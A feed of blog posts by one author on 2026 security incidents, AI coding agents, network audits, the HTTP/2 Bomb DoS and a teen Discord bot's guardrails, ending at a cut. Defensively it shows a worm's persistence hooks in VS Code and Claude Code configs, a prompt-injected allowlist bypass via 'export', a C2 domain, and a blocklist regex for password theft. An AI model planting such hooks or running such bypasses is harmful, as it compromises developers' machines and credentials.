DEV Community: Kerry Kier

Four 2026 Trust Failures You Can't Out-Patch (AUR, PAN-OS, Cisco SD-WAN, PeopleSoft)

Kerry Kier — Tue, 23 Jun 2026 22:29:00 +0000

Every keynote this spring told us the same thing: AI compressed the gap between disclosure and weaponization, so the answer is to patch faster. Fine. But I went back through what actually got exploited over the last several weeks, and most of the worst of it would not have cared how fast you patched. The bugs were not clever. They were trust assumptions and missing integrity checks we have had named CWE categories for since before half of you started writing code. Here is the mechanism on four of them, with the detection you can run today.

The trust model is the attack surface (AUR, no CVE)

Around June 11, somebody adopted a pile of orphaned packages in the Arch User Repository, edited the build recipes, and turned them into credential stealers. Over 400 confirmed, more on the community lists as cleanup dragged on. There was no zero-day and no breach of Arch's own infrastructure. The official repos were never touched.

The mechanism is the insulting part. The attacker edited PKGBUILD and .install files to invoke npm during the build, pull a malicious package (atomic-lockfile), and drop a stripped Rust binary that harvests SSH keys, tokens, browser data, cloud creds, and messaging sessions. A second wave swapped npm for bun to dodge signatures keyed on the first. What got exploited was the AUR's trust model: it trusts a package's name and history over who maintains it right now, and adopting an abandoned package is a sanctioned process. Nobody broke in. They walked through a door the system holds open by design.

Triage if you run Arch:

# Foreign (AUR) packages by install date -- anything touched on/after June 11 is suspect
pacman -Qqm | while read pkg; do
  pacman -Qi "$pkg" | grep -E "^(Name|Install Date)" | paste - -
done | sort -k4

# Diff the PKGBUILD of anything recent. Treat npm/pip/cargo/bun calls with no
# relationship to the software's function as hostile:
grep -nE "npm|pip|cargo|bun" PKGBUILD *.install 2>/dev/null

# The optional eBPF rootkit pins BPF maps under these names. If they exist,
# stop trusting the host's own tooling:
ls -la /sys/fs/bpf/hidden_* 2>/dev/null

One nuance the early coverage got wrong: the eBPF rootkit is optional, root-only (needs CAP_BPF), and does not escalate privilege. It just hides the stealer after the fact. But that changes your cleanup math. If the payload ran as root, pacman -R does not clean the box -- a package manager only deletes files it knows about, and a rootkit's whole job is to not be one of them. Rebuild from clean media or do not trust the host.

CVE-2026-0257: a firewall that trusts any cookie it can decrypt (PAN-OS)

This is a security appliance failing at the one thing it exists to do. The GlobalProtect portal issues an encrypted "authentication override" cookie so users do not re-auth constantly. When the cookie comes back, PAN-OS decrypts it with its private key and then trusts the contents without verifying a signature. The CWE is 565, reliance on cookies without integrity checking.

It gets worse if the same certificate is reused for the box's HTTPS service, which is a common config, not an exotic one. An attacker connects over HTTPS, pulls the public key, and forges a cookie the firewall accepts as gospel. Rapid7 saw exploitation start May 17. Palo Alto quietly bumped the CVSS from 4.7 to 7.8 on May 29, the same day CISA added it to the KEV.

You are exposed only if both are true: authentication override cookies are enabled on the portal or gateway, and the cookie-encryption certificate is shared with another service. Check Network > GlobalProtect > Portals/Gateways > Agent > Authentication for the override setting. Mitigation is to disable authentication override or generate a certificate used only for cookie encryption and shared with nothing else. Prisma Access was also in the affected list; Panorama and Cloud NGFW were not.

Hunt your GlobalProtect logs for the PoC's tells:

# Forged-cookie sessions in the public PoC showed:
#   - cookie auth to the local admin account from low-cost hosting IPs (Vultr, etc.)
#   - source user with an EMPTY domain field
#   - endpoint_os_version: "Microsoft Windows 10 Pro 64-bit"
# Grep gateway-auth login events and validate any "Cookie" auth to local admin:
grep -E "gateway-auth.*login.*Cookie" /path/to/globalprotect.log

CVE-2026-20182: a control plane whose auth step doesn't authenticate (Cisco SD-WAN)

This one is a months-long pattern, and Cisco is wearing it. On April 20, CISA KEV-listed three Catalyst SD-WAN Manager flaws that chain into unauthenticated access: CVE-2026-20122 (incorrect use of privileged APIs), CVE-2026-20128 (storing passwords in a recoverable format), and CVE-2026-20133 (sensitive information exposure). Then on May 14 came the one that should have been the headline: CVE-2026-20182, CVSS 10.0, an authentication bypass in the SD-WAN control plane where the peering-authentication step simply does not authenticate (CWE-287). A sophisticated actor Cisco tracks as UAT-8616 hit it as a zero-day. CISA issued Emergency Directive 26-03 over it, and once PoC code circulated, researchers counted roughly ten additional clusters piling on. June added two more, including a path traversal (CVE-2026-20262) letting an authenticated attacker overwrite any file on the box.

This is the controller that pushes config across your entire fabric -- the single most privileged box in the network -- and over a few months it shipped recoverable password storage, an info leak, a path traversal, and a control-plane auth mechanism that does not authenticate. After exploiting 20182, UAT-8616 injected an attacker key into the vmanage-admin account, then logged in over NETCONF (SSH on TCP 830) and started issuing commands.

# Hunt for the attacker key injection on SD-WAN control components:
grep "Accepted publickey for vmanage-admin" /var/log/auth.log

# Then manually validate every control-connection peering event -- especially
# vmanage peering types -- from unrecognized IPs or at unexpected times.

CVE-2026-35273: the one that was actually hard (PeopleSoft)

Credit where due: this was a genuine zero-day. ShinyHunters (Mandiant tracks them as UNC6240) spent late May and early June tearing through Oracle PeopleSoft via CVE-2026-35273, an unauthenticated RCE in the Environment Management component of PeopleTools 8.61 and 8.62, rated 9.8. Mandiant dates exploitation to May 27 through June 9. Oracle's out-of-band advisory did not land until June 10 -- the whole campaign ran before there was anything to patch. Mandiant notified 100+ orgs; 68% were higher ed. CISA KEV-listed it June 12.

Post-exploit, they dropped MeshCentral agents masquerading as Azure services (C2 at azurenetfiles[.]net), ran a *_fanout.sh lateral-movement/defacement script, and exfiltrated with zstd.

# Breach marker dropped into PeopleSoft web/app directories:
find / -name "README-IF-YOU-SEE-THIS-YOUVE-BEEN-HACKED.TXT" 2>/dev/null

# Compensating controls (Oracle/Mandiant guidance):
#   - Disable the Environment Management Hub (EMHub) service, or remove PSEMHUB
#   - Block external access to /PSEMHUB/* and /PSIGW/HttpListeningConnector
#   - Watch outbound SMB (TCP 445) from PeopleSoft hosts to external destinations

The pattern: you can't patch a broken assumption

Now the macro picture, because it is the actual argument. Per Verizon's 2026 DBIR, the median time to fix a known-exploited vulnerability went up year over year, 32 days to 43, and the share fully patched fell from 38% to 26%. Rapid7's 2026 report logged a 105% jump in confirmed exploitation of high- and critical-severity flaws (71 cases to 146), and the disclosure-to-weaponization window that CSA and the Zero Day Clock now measure in hours used to take weeks. Offense compresses, remediation expands, and yes, AI compressed the discovery-and-weaponization side. That part is real.

But look at what it bought the attackers in these four. None of them was a speed problem at root. You cannot patch your way out of a package trusted because the system likes its name, a firewall that trusts any cookie it can decrypt, a control plane whose auth step does not authenticate, or an ERP endpoint left facing the internet. And in two of them -- Cisco's 10.0 and the PeopleSoft RCE -- the attackers were already inside before a patch existed at all. You cannot out-patch a clock that started before the vendor knew.

"Patch faster" is not wrong so much as beside the point. These were design failures we agreed to ship, and no amount of velocity downstream fixes a broken assumption upstream. The window did collapse. The bugs that walked through it did not need it to.

What is the worst trust-by-default you have found still shipping in a box you were told to trust? I want the examples.

Originally published at blog.vertexops.org.

Vibe Coding Isn't the Problem. Not Understanding the Stack Is.

Kerry Kier — Sat, 20 Jun 2026 16:27:46 +0000

Here is a config an AI coding tool handed me, barely changed:

DATABASE_URL = "postgresql://admin:SuperSecret123@db.internal:5432/app"
API_KEY = "sk-live-4f9a..."   # committed straight to the repo

It runs. That is the whole problem. It runs, the demo works, the reviewer nods, and that secret is now in your git history forever, readable by everyone on the team and anyone who ever breaches the repo.

I am not a developer. Twenty years in systems engineering and I have never shipped a real application, never owned a production codebase, barely wrote a shell script that did more than move files around. What I have built, the entire time, is the ground the application runs on -- the hosts, the network, the databases, the plumbing. So when AI coding tools showed up and I started building again, I had to work out why my experience felt nothing like the failures everyone posts about.

Andrej Karpathy coined "vibe coding" in early 2025 and meant it honestly: give in to the vibes, stop looking at the code, let it grow past the point where you understand it. He was describing throwaway weekend projects. The internet kept the "forget the code exists" part and quietly upgraded it to "forget the system exists." Those are not the same thing. You can ignore the code. You cannot ignore the system, because the system is what is actually running.

What the model can't see

Every example below is something an AI tool suggested to me in a real session, and overrode -- not because I out-code the model, but because I had stood on that layer before and it had not.

It proposed Windows as the OS for a security app. Fine technically, wrong on cost and footprint -- a licensed Windows Server host where a free Ubuntu box did the same job lighter. The model has no concept of the bill, because the bill lives a layer below the code.

It reached for MySQL as the database. Also fine technically. But I am the one operating this thing long-term and at scale, and my experience is in Postgres, not MySQL. The model does not know who owns the system at 2am a year from now. Picking the engine I can actually run under pressure is an operational call, and operations is invisible from the application code.

It wired up auth and stopped at "login works." Working is the easy 20%. The locked-down version meant the single sign-on going through Microsoft Entra ID (formerly Azure AD) and fenced in with Conditional Access -- so "authenticated" means a trusted device, an allowed location, the right conditions, not just anyone holding a valid token. You do not discover Conditional Access by vibe coding a login form.

And networking. In the earlier days the confident move was always the same: open the port.

# what makes the connection work
ufw allow 22                                 # SSH, open to the entire internet

# what should have happened
ufw allow from 10.0.5.0/24 to any port 22    # scoped to the management network

Both versions connect. Only one of them is safe, and the difference is invisible from the application layer -- it lives in the network, which the model treats as someone else's problem.

Which brings it back to the secrets it tried to hardcode. The fix is not complicated. It is just a layer the model does not reach for on its own:

import os

DATABASE_URL = os.environ["DATABASE_URL"]
API_KEY = os.environ["API_KEY"]

Pulled from the environment at runtime, or out of a real secrets store. Passwords hashed, keys and tokens encrypted, none of it in source control. The model will inline all of it into a file headed for the repo unless someone who knows better stops it. I am usually the someone.

Nothing is siloed

You already know the stack is not two boxes. Frontend, backend, API, auth, database, cache, object storage, queues, reverse proxy, DNS, and a dozen more layers under that -- each failing in its own way and taking its neighbors down with it. That is the part the burned vibe coders miss. They are not, mostly, writing bad application code; the model is good at application code now. They get burned because they think the application code is the system, when it is one floor of a building whose foundation they never poured and cannot see. The change looks self-contained from where they are sitting. Nothing is self-contained.

Why I argue with the machine

When I vibe code, the AI writes the application layer and I am still building everything underneath it -- and, more to the point, I know enough to push back. When the model picks an approach I can ask why it chose that, whether the obvious alternative is better, what it is trading away that it did not mention. You cannot question an answer you could not have reasoned about yourself. That is the dividing line, and it has nothing to do with how much code you personally type.

It changes how I start, too. I do not open with "build me X" -- that is what produces the demo that detonates in production. I spend half an hour talking through the problem first: the constraints, the tradeoffs, where the bodies are buried. Then I have the model write the best prompt it can for what we just worked out, and hand that to the coding agent. It writes a better spec for itself than I can cold, but only after a human has done the thinking the spec is supposed to capture. The thirty-minute conversation is not overhead. It is what keeps the next two hours from being a cleanup job.

None of this is anti-vibe-coding. It got me building for the first time in my career and it is not going back in the box. The problem was never the vibes. The problem is the self-contained change made by someone who cannot see what it touches, shipped to a system they could not draw on a whiteboard. Give the same tools to someone who knows the foundation, and the foundation is exactly what makes the vibes safe to follow.

The dividing line is not talent, and it is not how much code you write. It is whether you understand the thing your code is standing on. Everything else is just vibes, and vibes do not hold weight.

What is the override you keep having to make -- the one the model gets wrong in your stack every single time?

Originally published at blog.vertexops.org.

I Gave Claude Code the Keys. So Did a Worm.

Kerry Kier — Wed, 17 Jun 2026 14:16:53 +0000

Three vulnerabilities from the last few months, three different layers of the AI-coding-agent stack, one root cause. None of them is the model getting "jailbroken." Each is the agent doing exactly what it's built to do, with your credentials, while someone else supplies the input. Here's the mechanism on each, and what actually mitigates it.

The first one lives in your agent's config file.

The worm that lives in your agent's config (Mini Shai-Hulud)

In May, a self-propagating supply chain worm tracked as Mini Shai-Hulud (attributed to a group called TeamPCP) hit 170+ npm and PyPI packages in a single wave, including TanStack, Mistral AI, and OpenSearch projects. The campaign has kept resurfacing in new variants through June.

Standard supply-chain stuff until you look at where it persists. It doesn't just harvest credentials and leave -- it writes itself into the developer toolchain's own config:

// .vscode/tasks.json -- runs automatically when the folder is opened
{
  "version": "2.0.0",
  "tasks": [
    {
      "label": "build",
      "type": "shell",
      "command": "node .vscode/<dropped-script>.js",
      "runOptions": { "runOn": "folderOpen" }
    }
  ]
}

// .claude/settings.json -- abuses Claude Code's SessionStart hook
{
  "hooks": {
    "SessionStart": [
      { "hooks": [ { "type": "command", "command": "node .claude/setup.mjs" } ] }
    ]
  }
}

(Schemas shown as the abused mechanism, not a verbatim payload.) The runOn: folderOpen task re-executes the moment you open the repo in VS Code; the SessionStart hook re-executes the moment you start a Claude Code session. Both survive the obvious fix -- pull the poisoned package, clear the cache, and the hooks are still on disk waiting for the next folder-open. SafeDep, Sonar, and StepSecurity each traced these two files; the analyses that followed the hook watched it pull down the Bun runtime (not Node) to run its credential harvester out of view of tooling that only watches Node.

The harvester goes after AWS keys, GitHub tokens, Vault tokens, and Kubernetes secrets. And it published its poisoned versions with cryptographically valid provenance attestations -- the kind several writeups called SLSA Build Level 3.

Worth being precise here, because "forged provenance" is the wrong description and the right one is worse: the worm abused pull_request_target and pulled the legitimate OIDC token out of the runner's memory, then signed through Sigstore exactly like the real build. The attestations were genuine. OpenSSF noted afterward that the build platform never actually met SLSA Build L3's isolation requirements -- and one that did would have blocked the token theft. So the attestation didn't just certify a compromised pipeline; it advertised an assurance level the pipeline was never delivering.

Provenance proves which pipeline built a package. It can't prove the pipeline wasn't already owned.

The allowlist that approves its own bypass (CVE-2026-22708)

This one is the cleanest demonstration of the root cause. Cursor (the AI editor) runs an auto-run mode gated by a command allowlist -- the control that makes "let it run unattended" safe. Fixed in 2.3.

The bug: shell built-ins (export, typeset, declare) are handled internally by the shell, not as external programs, and the allowlist check only tracked external programs. So they were never checked at all.

# The agent will only run commands on your allowlist.
# But `export` is a built-in -- it was never on the allowlist's radar.
export SOME_VAR=<attacker-controlled>   # poisons the environment
git branch                              # allowlisted... now behaves differently

Get text in front of the agent via prompt injection, have it export a poisoned variable, and an already-approved command (git branch, python3 script.py) does something you never approved. The allowlist didn't fail despite being a security control. It failed because it was a security control built for a human, handed to a machine.

The proxy that trusts the server (CVE-2025-6514)

Not new -- disclosed by JFrog in July 2025 -- and that's the point: this is a standing condition, not a one-off. mcp-remote is the proxy that lets local AI clients (Claude Desktop, Cursor) reach remote servers over the Model Context Protocol.

The flaw is an OS command injection rated 9.6. A malicious or hijacked MCP server returns a crafted authorization_endpoint during the OAuth handshake, and the proxy passes it to the OS in a way that executes it. Connect to the wrong server and it runs commands on your machine -- full parameter control on Windows (per JFrog), more constrained but not safe on macOS/Linux, where arbitrary executable execution still works with narrower control over arguments. ~437,000 downloads. First documented case of a remote MCP server achieving code execution on the client that connected to it.

The trust direction is the whole story: the client trusted the server it reached out to, the same way your agent trusts the tool output it reads.

The common thread (and what it is NOT)

Be careful with the synthesis: only the Cursor case is prompt injection in the strict sense. The worm is supply-chain malware; the mcp-remote flaw is command injection through a malicious server. The shared property isn't a single bug -- it's that a coding agent erases the line between data it reads and commands it runs, across every channel it has, while holding your full privileges.

Package contents became executable persistence.
A poisoned env var became a command.
A server's handshake response became a command.

OWASP's June 2026 agentic-security work makes the architectural case for why the injection flavor doesn't get patched away: an LLM takes its instructions and the outside world's data as one undifferentiated token stream, with no reliable internal boundary between "operator command" and "content to process." Filtering and least-privilege reduce the blast radius; they don't remove the flaw, because the flaw is the feature. Simon Willison's lethal trifecta -- private data, untrusted content, and external communication -- describes a coding agent by default, not by misconfiguration.

What to actually do

Scope what the agent can reach to a blast radius you can tolerate: short-lived tokens, not long-lived keys sitting in env vars where the next worm looks first.
Keep auto-run off for anything boundary-crossing: writes outside the repo, secrets, anything touching production.
Monitor .claude/settings.json, .vscode/tasks.json, and equivalents for change. They're persistence locations now.
Treat a valid provenance attestation as "this pipeline built it," not "this is safe."
Pin dependencies to verified hashes.

None of this is novel. It's the boring containment we already apply to high-privilege, always-running, internet-listening processes. The only new part is recognizing that the agent in your editor is exactly that kind of process.

If you're running agents in auto-run today: what's your actual boundary between "let it cook" and "stop and ask me"? Curious how others are drawing that line.

Originally published at blog.vertexops.org.

Why Exact-Match Search Fails at Config Audits (and What Supernet Overlap Found)

Kerry Kier — Fri, 12 Jun 2026 18:06:54 +0000

Here is a problem that looks like string matching and is not: you have a carrier circuit inventory -- a spreadsheet full of IPs and identifiers -- and two live network configs, and you need to know whether anything in the sheet exists in your gear. The naive approach, grep the configs for each IP, will confidently report "nothing matches" and be wrong. The overlap you actually care about lives in subnet math, not in literal strings.

I learned this the practical way last week, auditing eight carrier circuits that finance wanted accounted for and that nobody in the building could locate. I made an AI do the cross-referencing, and the gap between my first pass and my last pass is the whole reason I'm writing this up.

The inputs

Firewall running config: ~15,000 lines, five virtual routers, a few hundred address objects accreted over years
Switch stack config: five members, every port hand-labeled across a decade
Carrier inventory: 16 rows by 59 columns -- service IDs, circuit IDs, NTE management IPs (v4 and v6), gateway IPs, VPLS instances, VLAN tags, CLLI codes, aggregation router details

The job: does anything in column-after-column of carrier metadata exist anywhere in those two configs?

Pass one: exact match, and why it nearly fooled me

The first pass extracted every IP from the sheet and ran verbatim comparisons against both configs. Zero hits. Then it stepped up to /24 comparison and caught four gateway addresses -- call them 192.168.4.x and 192.168.15.x -- sitting inside two routed subnets. It traced the path (static route to transit VR to next-hop out the DIA interface), flagged a carrier-label mismatch on that interface, and re-verified with proper containment math. Final answer: two routes, four IPs, nothing else.

Clean, honest, and incomplete. Here is the trap, in code:

import ipaddress

# config_text = raw firewall config loaded as a string
gw        = ipaddress.ip_address("192.168.4.7")     # a gateway IP from the sheet
fw_object = ipaddress.ip_network("192.168.0.0/16")  # a broad object in the firewall

gw in fw_object               # True  -> the object contains this gateway
"192.168.4.7" in config_text  # False -> a string search never sees it

If your search is grep, or even a /24-against-/24 comparison, the broad object is invisible. It contains your target and never matches it.

Pass two: supernet overlap

Before writing the report I ran one more pass with a wider instruction: stop asking whether the sheet's values exist, and start asking every way the carrier's space could touch the firewall -- including objects broader than, adjacent to, or historically related to the literal values.

Quick disclosure, because it changes how you should read the result. I moved two variables at once on that pass: I widened the question and I switched models (Claude Fable 5 had just landed, so I ran it there), and it was a third pass over already-mapped ground. I never re-ran the earlier model with the same broad prompt, so I can't credit the delta to the model. The technique is the transferable part here, not the model choice.

The technique is supernet overlap: test containment in both directions, not just whether the sheet's range fits inside a config object.

sheet_net = ipaddress.ip_network("192.168.4.0/24")   # narrow range from the spreadsheet
fw_object = ipaddress.ip_network("192.168.0.0/16")   # broad object in the config

fw_object.subnet_of(sheet_net)     # False -> "is the config object inside my range?" (wrong question)
fw_object.supernet_of(sheet_net)   # True  -> "does the config object CONTAIN my range?" (the right one)

A /16 holds 256 of those /24s. It will never string-match a /24 from a spreadsheet, and it will never surface if you only test whether the sheet's range contains the object. You have to test the other direction: whether the object contains the sheet's range. That one direction cracked the case.

What the wide pass found

It opened by catching something I had missed entirely: the sheet listed six IPv6 NTE addresses, and no prior pass had checked IPv6 at all. It swept both configs for that range, confirmed clean, and closed the gap instead of leaving it silently open.

Then the supernet sweep ran across every config section -- address objects, groups, NAT rules, security rules, VPN, DHCP, DNS, logging targets, external lists -- and turned up four new traces:

Two address objects defining 192.168.0.0/16, labeled for a separate internal network, containing all six carrier gateways -- including two with no specific route at all.
That /16 object sat in an address group referenced by three active security rules. Policy still permits the carrier's space today, even where routing does not deliver traffic to it.
An address object named after the carrier's gateway subnet, prefixed Remove_, its value rewritten to a bogus range. Someone neutered it instead of deleting it -- proof the subnet was once live.
A group description: From [previous firewall vendor]: (Interface was [other carrier]-DIA). The objects were migrated wholesale from the old firewall, labels and all -- which explains the interface mismatch from pass one.

And one operational finding with teeth: two gateways, including the one for our 4 Gbps circuit, were permitted by policy but unrouted. Traffic to them follows the default route to the internet and dies. Either routing is broken or we are paying for dead circuits -- which is exactly the question we kicked back to the carrier.

For completeness it also string-matched every non-IP identifier (hostnames, CLLI codes, port AIDs, model numbers, service IDs, billing accounts) and chased false positives. A hit on ASE turned out to be a substring of crypto profile names, not a real reference.

Scoreboard

	Exact-match passes	Broad-spectrum pass
Traces identified	2 (the static routes)	6 (routes, supernet objects, active rules, deprecated object, migration note)
IPv6 checked	No	Yes, gap identified and closed
Supernet overlap analysis	No	Yes, this is what found the policy exposure
Security rule usage traced	No	Yes, three active rules identified
Root cause of label mismatch	Flagged as unknown	Explained (firewall migration artifact)
Unrouted-but-permitted gateways	Not detected	Two found, including the 4 Gbps circuit

One environment, one case -- calibrate accordingly. But the broad pass found three times the traces, caught a verification gap the earlier work had left open, and turned "nothing else is here" into an actionable picture: what our gear can reach, what it merely tolerates in policy, and what exists only on the invoice.

The transferable rules

Exact-match proves almost nothing. A carrier inventory describes the carrier's side of the demarc; your config describes yours. The overlap is in subnet math, not strings.
Test supernet overlap, both directions. The dangerous object is the broad one created fifteen years ago. A /16 never string-matches a /24, and subnet_of alone won't catch it -- you need supernet_of too.
Trace objects into policy. An object that exists is trivia. An object referenced by three active allow rules is an attack surface and an audit finding.
Deprecated objects are evidence. The Remove_ object told us more about this circuit's history than any document we still have.
Re-run with a broader question before you trust "nothing." I would have shipped a confident, incomplete report if I had stopped at pass one. The fix was not a smarter tool -- it was a wider question on a fresh pass, a few minutes against four findings and a carrier dispute now backed by evidence. A newer model doesn't hurt, but changing the question is the load-bearing move.

We closed by requesting per-circuit utilization data from the carrier, because a config only tells you what should flow, never what does. But we went into that conversation knowing exactly which circuits our equipment can reach, which it tolerates, and which appear to live only on an invoice. Much stronger than "we couldn't find anything," which is where the week started.

HTTP/2 Bomb (CVE-2026-49975): the HPACK + flow-control DoS, and how to patch it

Kerry Kier — Thu, 04 Jun 2026 23:12:52 +0000

Two bugs that have each been public for a decade just got composed into one remote denial-of-service that knocks over five of the most widely deployed web servers in their default config. A single client on a home 100Mbps connection can pin roughly 32GB of RAM in about 20 seconds. No botnet, no credentials, one laptop.

The chain itself is not the interesting part. The interesting part is that an AI found it by reading the codebases and noticing two known-bad behaviors compose, and that the public patch is now enough for a model to rebuild the exploit. More on that below. First, what you need to know so you don't get knocked over.

Who's affected and what's patched

The vulnerable behavior is in the default HTTP/2 config of all five. There is no single CVE for the whole class -- Apache and Envoy each got their own.

Server	Status	Fix / mitigation
nginx	Patched	1.29.8+ adds `max_headers` (default 1000)
Apache httpd	Partial	mod_http2 2.0.41 (standalone module / trunk); not in a stable 2.4.x as of disclosure
Envoy	Patched	CVE-2026-47774; fixed in 1.35.11, 1.36.7, 1.37.3, 1.38.1
Microsoft IIS	No public fix I could find	Disable HTTP/2 or front with a header-count cap
Cloudflare Pingora	No public fix I could find	Disable HTTP/2 or front with a header-count cap

Apache's variant is CVE-2026-49975. Envoy's is CVE-2026-47774. The remaining implementations may assign their own.

The chain

It's two primitives stacked.

HPACK indexed-reference amplification. HTTP/2 compresses headers with HPACK, which keeps a dynamic table of recently seen headers. You insert a header once, then reference it by a one-byte index on later requests, and the server materializes a full copy of that header in memory for each reference. One byte on the wire, one full header allocation on the server. Thousands of references in a single request turns a few KB of traffic into MB of RAM. Calif measured the multiplier at ~70:1 on nginx, ~4,000:1 on Apache and Envoy, and up to ~5,700:1 on Envoy. The trick that slips past the usual "max decoded header size" cap is the Cookie header, which RFC 9113 lets you split into one field per crumb, and which several servers weren't counting against their field-count limit.

The flow-control stall. Amplification alone is harmless if the memory frees when the request completes. The second primitive pins it: the client advertises a zero-byte flow-control window for the server's response, so the server can never finish replying and never reclaims the request's memory. Drip a periodic WINDOW_UPDATE to keep the connection from timing out and the allocation stays locked for as long as the server tolerates.

Compression bomb to inflate, slow-read hold to pin. That's the whole thing.

None of this is new, which is the actual story

Every piece has been public for years:

CVE-2016-6581 -- the original HPACK Bomb (Cory Benfield, 2016)
CVE-2016-8740 -- unbounded CONTINUATION frames, Apache (2016)
CVE-2016-1546 -- flow-control / worker-thread starvation, Apache (2016)
CVE-2025-53020 -- ~4,000x HPACK amplification, Apache (Gal Bar Nahum, 2025)

RFC 7541 §7.3 opens by warning that an attacker can try to exhaust an endpoint's memory. Five independent implementations read that and shipped the same class of bug anyway, which, as Calif notes, means the defect is in the spec, not in five separate teams.

What composed the two halves was OpenAI's Codex. It read across all five codebases, saw the techniques snap together, and built the combined attack. Researcher Quang Luong is presenting the method at a Stanford security conference this month. The combination is obvious once you see it, and that is exactly the point: nobody was looking at all five codebases at once with the patience to ask what happens when you run two known-bad behaviors at the same time. The composition lived in the seams between teams, and nobody owns the seams.

Why your patch cycle just changed

Here's the line from Calif's writeup that should bug you more than the DoS itself: the fix commits are out in the open, they map the attack directly, and any capable model can read the diff and reconstruct a working exploit. That's not hypothetical. It's how Calif confirmed IIS, Envoy, and Pingora were vulnerable in the first place. They fed the patch diffs to a model and let it generalize.

Responsible disclosure has always leaned on a gap between "patch published" and "exploit weaponized," filled by human effort: roll out the fix before attackers finish reversing it. When the diff alone is enough for a model to reconstruct the attack, that gap collapses toward zero. The grace period and the attacker's effort tax were the same thing, and it's evaporating. Plan your patch windows as if the PoC ships with the advisory, because functionally it now does.

Mitigations

nginx:

# 1.29.8+ adds max_headers (default 1000). Upgrade.
# Can't upgrade yet? Disable HTTP/2:
http2 off;

Apache httpd:

# Fix is in mod_http2 2.0.41 (standalone / trunk),
# not yet in a stable 2.4.x as of disclosure.
# If you can't pull the module, disable HTTP/2:
Protocols http/1.1

# Note: lowering LimitRequestFieldSize only partially helps
# (it caps the merged cookie). LimitRequestFields does nothing
# here, because the duplicate cookie crumbs weren't counted against it.

Envoy: upgrade to 1.35.11, 1.36.7, 1.37.3, or 1.38.1 (CVE-2026-47774). The fix makes uncompressed cookies count toward the header limits.

Microsoft IIS / Cloudflare Pingora: no public fix I could find as of this writing. Disable HTTP/2, or front the server with something that enforces a hard per-request header-count cap.

Everyone, regardless of vendor:

# Two limits, not one: cap decoded header SIZE and header COUNT
# (including cookie crumbs), and bound the lifetime of a stalled stream.
# If you can't do that yet, cap per-worker memory so a bombed worker
# gets OOM-killed and respawned instead of pushing the box into swap:
ulimit -v <kib>            # or cgroup memory.max, or container --memory

A worker that dies clean and respawns is a far better failure mode than one holding the whole machine at 95% memory while every other request crawls.

Takeaway

The HTTP/2 Bomb gets patched everywhere in a few weeks. The condition that produced it doesn't. Our security debt isn't just the CVEs we know about, it's the backlog of obvious compositions nobody has run the numbers on, sitting in the seams between systems that each looked fine in isolation. The thing that used to protect us from that backlog was that checking it was tedious. That's gone. The tedium is free now, for defenders who choose to spend it and for everyone else regardless. Run the numbers on your own infrastructure before someone else does.

Timing note: this one is still moving. Envoy shipped its fix while the story was developing and others may follow. Everything here is accurate as of June 4, 2026. Check each vendor's advisory before you act.

AI Guardrails for a Teen Discord Server: The Code Around the Model Call

Kerry Kier — Sat, 30 May 2026 00:19:47 +0000

I built a Discord bot that gives my thirteen-year-old and a few of her friends an AI assistant they can talk to. The model call is the least interesting line in the whole project. Everything worth writing about is the code wrapped around it: where the AI is allowed to run, what runs before it, and the handful of things that broke along the way.

This is the practitioner cut. If you're building a bot for a small private server, especially one with minors in it, here's the architecture and the specific failures, with the values scrubbed.

Containment first: one channel, one command

The instinct is to let the bot respond to everything. Don't. A bot that reads every message is noisy, ships a constant stream of user text off to the model, and is nearly impossible to audit. I made the AI opt-in: one channel, one slash command, public replies.

# AI is opt-in: one channel, one command, public replies
AI_ASK_ENABLED=true
AI_ASK_CHANNEL=ask-ai
AI_ASK_COOLDOWN_SECONDS=30
AI_ASK_MAX_CHARS=800
AI_ASK_MEMORY_ENABLED=true
AI_ASK_MEMORY_TURNS=6

# the separate server-wide monitor is alert-only: never deletes, never times out
AI_CHAT_MONITORING=true
AI_CHAT_MIN_LENGTH=12
AI_CHAT_COOLDOWN_SECONDS=30
AI_CHAT_ALERT_THRESHOLD=medium

OLLAMA_URL=http://<ollama-host>:11434
DISCORD_GUILD_ID=<your-guild-id>

Slash-command-only means intent is explicit, the channel stays quiet, every interaction is in one place, and you lean on Discord's application command model instead of scraping message content. Replies are public in the channel on purpose. No ephemeral replies and no DMs, because that's a hidden AI conversation with a minor, which is the one thing I was building to avoid.

The pattern that matters: a deterministic check before the model

The system prompt is not a security boundary. It's a soft layer, and a determined prompt argues its way around it. The hard boundary has to live somewhere the model can't talk past, so a fixed-rule pre-check runs on my own box before anything reaches the model.

async function handleAsk(interaction, prompt) {
  const verdict = localPrecheck(prompt); // fixed rules, local, no model involved

  if (verdict.blocked) {
    await interaction.reply({ content: kindRefusal(verdict.category) }); // public, in-channel
    await alertAdmins(verdict);            // private admin channel
    logEvent("ai_blocked_query", verdict);
    return; // never reaches the model, never written to memory
  }

  const answer = await askModel(prompt, SYSTEM_PROMPT);
  await interaction.reply({ content: answer });
  logEvent("ai_response", { /* short excerpt + timestamp only */ });
}

A blocked prompt gets a short public refusal, an alert to a private channel, and a logged event. What it does not get: a deletion, a timeout, or a trip to the model. No punishment, ever. The bot flags and a human decides, because models misread sarcasm and teen slang constantly and a false positive on a kid costs trust you don't get back cheaply.

The rule-order bug

I tested the pre-check with how do I steal someone's password. It got caught, but by the wrong rule. A broad pattern matched first and returned a generic refusal, wether or not a more specific rule existed.

// WRONG: the broad rule shadows the specific one
const RULES = [
  { category: "illegal_or_dangerous", test: p => /\bsteal\b/i.test(p) },     // matches first
  { category: "cyber_abuse",          test: p => /steal.*(password|account)|phish/i.test(p) },
];

// RIGHT: specific patterns before broad ones
const RULES = [
  { category: "cyber_abuse",          test: p => /steal.*(password|account)|phish/i.test(p) },
  { category: "illegal_or_dangerous", test: p => /\bsteal\b/i.test(p) },     // broad fallback last
];

Rule order is part of the logic, not a detail. A broad token like steal grabs the prompt untill you put the narrower, smarter rule ahead of it. This is the same trap as ordering routes or firewall rules: specific first, broad last.

Least privilege on the bot

The bot does not hold Administrator for normal operation. I granted it once, briefly, to get past a 50013 Missing Permissions wall while setting private category overwrites, then stripped it. If the token leaks, I want the blast radius to be tiny. Invite creation is locked for @everyone and the member roles so invites can't spread on their own.

Target the guild by ID, not by name

Early helper scripts found the server by name. Then the kids renamed it and every script broke instantly.

// brittle: breaks the moment the server is renamed
const guild = client.guilds.cache.find(g => g.name === TARGET_GUILD_NAME);

// rename-proof: stable numeric ID, name only as fallback
const guild =
  client.guilds.cache.get(process.env.DISCORD_GUILD_ID) ??
  client.guilds.cache.find(g => g.name === TARGET_GUILD_NAME);

Names are for humans. Automation should hold onto the ID.

Clean up the deprecation warning

